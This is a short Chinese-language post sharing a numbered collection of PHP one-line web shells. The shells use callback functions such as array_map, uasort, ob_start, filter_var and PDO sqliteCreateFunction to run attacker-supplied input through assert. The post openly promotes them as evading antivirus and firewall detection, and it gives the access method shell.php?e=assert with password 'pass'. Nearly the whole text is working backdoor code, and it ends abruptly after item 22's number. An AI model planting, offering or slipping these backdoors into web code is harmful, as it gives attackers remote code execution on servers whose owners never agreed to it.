分享些不須要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。(少部分一句話須要php5.4.8+、或sqlite/pdo/yaml/memcached擴展等)
原理:https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
全部一句話使用方法基本都是:
http:// target/shell.php?e=assert 密碼pass
01
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
02
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
03
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
04
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
05
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
06
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
10
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
11
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
12
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
13
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
14
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
15
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
16
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
17
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
19
$mem = new Memcache();
$re =
$mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect(
$_REQUEST['pass'], 11211, 0);
22